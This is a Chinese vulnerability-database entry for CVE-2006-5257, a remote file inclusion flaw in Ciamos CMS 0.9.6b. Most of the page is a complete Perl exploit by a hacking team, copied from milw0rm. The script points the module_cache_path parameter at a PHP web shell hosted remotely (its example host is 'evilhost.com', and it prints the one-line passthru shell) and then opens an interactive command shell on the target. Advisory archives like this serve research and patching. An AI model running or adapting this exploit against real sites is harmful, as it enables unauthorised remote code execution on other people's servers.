Ciamos CMS 'modules/forum/include/config.php'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111212 漏洞类型 输入验证
发布时间 2006-10-08 更新时间 2006-10-16
CVE编号 CVE-2006-5257 CNNVD-ID CNNVD-200610-192
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2489
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-192
|漏洞详情
CiamosContentManagementSystem(CMS)0.9.6b及更早版本的modules/forum/include/config.php中存在PHP远程文件包含漏洞,远程攻击者可以通过module_cache_path参数中的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl

use LWP::UserAgent;

#:::::::::  :::::::::: :::     ::: ::::::::::: :::        
#:+:    :+: :+:        :+:     :+:     :+:     :+:        
#+:+    +:+ +:+        +:+     +:+     +:+     +:+        
#+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
#+#+    +#+ +#+         +#+   +#+      +#+     +#+        
##+#    #+# #+#          #+#+#+#       #+#     #+#        
##########  ##########     ###     ########### ########## 
#::::::::::: ::::::::::     :::     ::::    ::::  
#    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
#    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
#    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
#    +#+     +#+        +#+     +#+ +#+       +#+ 
#    #+#     #+#        #+#     #+# #+#       #+# 
#    ###     ########## ###     ### ###       ### 
#	
#	
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Ciamos CMS <= 0.9.6b (config.php) Remote File Include Exploit
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- [Script name: Ciamos CMS 0.9.6b
#- [Script site: http://sourceforge.net/projects/ciamos
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-          Find by: Kacper (a.k.a Rahim)
#+
#-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
#+
#-          Contact: kacper1964@yahoo.pl
#-                        or
#-           http://www.rahim.webd.pl/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Special Greetz: DragonHeart ;-)
#- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
#-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios
#-
#- Greetz for all users DEVIL TEAM IRC Channel !!
#!@ Przyjazni nie da sie zamienic na marne korzysci @!
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-            Z Dedykacja dla osoby,
#-         bez ktorej nie mogl bym zyc...
#-           K.C:* J.M (a.k.a Magaja)
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# usage:
# perl exploit.pl <Ciamos Locaction> <shell location> <shell cmd>
#
# perl exploit.pl http://site.com/[Ciamos_Path]/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
###################################################




$sciezka = $ARGV[0];

$sciezkacmd = $ARGV[1];

$komenda = $ARGV[2];

if($sciezka!~/http:\/\// || $sciezkacmd!~/http:\/\// || !$komenda){usage()}

head();

while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET=>$sciezka.'modules/forum/include/config.php?module_cache_path='.$sciezkacmd.'?&'.$komenda.'='.$cmd)or die "\nCouldNot connect\n";
$res = $xpl->request($req);

$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nEnter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in <b>/)

{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}

elsif ($return =~/^<br.\/>.<b>Warning/) {print "\nInvalid Command\n\n"}

if($return =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{

$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;


}
else {print "[shell] \$";}}}last;

sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "+          - - [DEVIL TEAM THE BEST POLISH TEAM] - -         +\n";
print "+Ciamos CMS <= 0.9.6b (config.php) Remote File Include Exploit+\n";
print "+                http://www.rahim.webd.pl/                   +\n";
print "+                Find by: Kacper (a.k.a Rahim)               +\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
}
sub usage()
{
head();
print " Usage: perl exploit.pl <Ciamos Locaction> <shell location> <shell cmd>\r\n\n";
print " <Ciamos Locaction> - Full path to Ciamos ex: http://www.site.com/Ciamos/\r\n";
print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n";
print " <shell cmd> - Command variable used in php shell \r\n";
print " ============================================================================\r\n";
print "                         Find by: Kacper (a.k.a Rahim)                       \r\n";
print "                           http://www.rahim.webd.pl/                         \r\n";
print "                          Special Greetz: DragonHeart ;-)                    \r\n";
print " ============================================================================\r\n";

exit();
}

#Pozdrawiam wszystkich ;-)
#DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

# milw0rm.com [2006-10-08]
|参考资料

来源:XF
名称:ciamos-config-file-include(29398)
链接:http://xforce.iss.net/xforce/xfdb/29398
来源:BID
名称:20403
链接:http://www.securityfocus.com/bid/20403
来源:MILW0RM
名称:2489
链接:http://www.milw0rm.com/exploits/2489
来源:MILW0RM
名称:2489
链接:http://milw0rm.com/exploits/2489